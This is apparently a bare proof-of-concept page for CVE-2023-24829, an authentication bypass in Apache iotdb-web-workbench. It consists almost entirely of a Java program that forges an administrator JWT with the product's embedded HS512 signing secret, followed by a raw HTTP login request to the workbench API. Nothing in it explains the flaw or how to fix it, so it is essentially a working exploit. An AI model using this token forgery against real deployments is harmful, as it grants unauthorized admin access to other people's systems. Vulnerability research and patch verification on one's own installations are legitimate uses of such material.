Apache iotdb-web-workbench 认证绕过漏洞（CVE-2023-24829）

volumes:
      - ./backend/src/main/resources/sqlite/iotdb.db:/sqlite/iotdb.db

import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;

import java.util.Date;

public class iotdb_CreateToken {

    private static String secret =
            "HSyJ0eXAiOiJKV1QasdfffffffSd3g8923402347523fffasdfasgwaegwaegawegawegawegawetwgewagagew"
                    + "asdf23r23DEEasdfawef134t2fawt2g325gafasdfasdfiLCJhbGciOiJIUzI1NiJ9";
    public static String generateToken(String username) {
        Date now = new Date();
        //    Calendar instance = Calendar.getInstance();
        //    instance.add(Calendar.HOUR_OF_DAY, 24);
        Date expireDate = new Date(new Date().getTime() + (1000 * 60 * 60 * 10));
        return Jwts.builder()
                .setHeaderParam("type", "JWT")
                .setSubject(0 + "")
                .setIssuedAt(now) // 签发时间
                .claim("userId", 1)
                .claim("name", username)
                .setExpiration(expireDate) // 过期时间
                .signWith(SignatureAlgorithm.HS512, secret)
                .compact();
    }

    public static void main(String[] args) {
        String token = generateToken("admin");
        System.out.println(token);
    }
}

POST /api/login?name=test&password=123456 HTTP/1.1
Host: 127.0.0.1:8081
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 4

{
}